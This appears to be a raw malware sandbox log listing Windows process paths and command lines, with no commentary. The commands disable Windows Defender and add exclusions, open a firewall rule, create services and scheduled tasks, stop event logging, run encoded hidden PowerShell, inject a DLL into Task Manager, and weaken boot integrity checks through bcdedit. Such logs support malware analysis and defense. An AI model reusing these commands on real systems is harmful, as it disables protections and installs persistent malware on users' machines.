"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

"C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe" -s

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\system32\makecab.exe

"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240510133147.log C:\Windows\Logs\CBS\CbsPersist_20240510133147.cab

C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe

"C:\Users\Admin\Documents\SimpleAdobe\hGbHU7DrQaGAkCCMGvA0Qtgx.exe"

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe delete "RULTVSKP"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe create "RULTVSKP" binpath= "C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe" start= "auto"

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe stop eventlog

C:\Windows\system32\sc.exe

C:\Windows\system32\sc.exe start "RULTVSKP"

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "butYHpXTvMdZIJsEKZ" /SC once /ST 13:33:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe\" LY /YNXdidAxLq 525403 /S" /V1 /F

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

C:\Windows\system32\powercfg.exe

C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0

C:\Windows\system32\conhost.exe

C:\Windows\system32\conhost.exe

C:\Windows\system32\svchost.exe

svchost.exe

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn butYHpXTvMdZIJsEKZ"

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn butYHpXTvMdZIJsEKZ

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn butYHpXTvMdZIJsEKZ

C:\Windows\system32\taskeng.exe

taskeng.exe {C42A2ADF-0FA3-4D1A-A63C-9BFA74A00C69} S-1-5-18:NT AUTHORITY\System:Service:

C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe

C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\gvUvpqXuJGpWbAU\XKywUjg.exe LY /YNXdidAxLq 525403 /S

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\system32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-9664396101288563732-2392218491668516053-247813182647622850-1405937805-1537299676"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gxTLGHSnv" /SC once /ST 05:25:35 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "21376265624707315311449145832123986103308564193-179303447597680933-111104999"

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gxTLGHSnv"

C:\Windows\system32\taskeng.exe

taskeng.exe {A56A774F-50AC-4805-8D6F-3CA90971F083} S-1-5-21-3452737119-3959686427-228443150-1000:QGTQZTRE\Admin:Interactive:[1]

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gxTLGHSnv"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -timeout 0

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}

C:\Windows\system32\bcdedit.exe

C:\Windows\Sysnative\bcdedit.exe /v

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\cmd.exe

cmd /C copy nul "C:\Windows\Temp\mrYrpJCpOmktZWwz\BghGRzxT\ZNRQFmcCfPZLBDRk.wsf"

C:\Windows\SysWOW64\wscript.exe

wscript "C:\Windows\Temp\mrYrpJCpOmktZWwz\BghGRzxT\ZNRQFmcCfPZLBDRk.wsf"

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NGysLhxJEZNwhMVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NGysLhxJEZNwhMVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NGysLhxJEZNwhMVB" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NGysLhxJEZNwhMVB" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\mrYrpJCpOmktZWwz" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

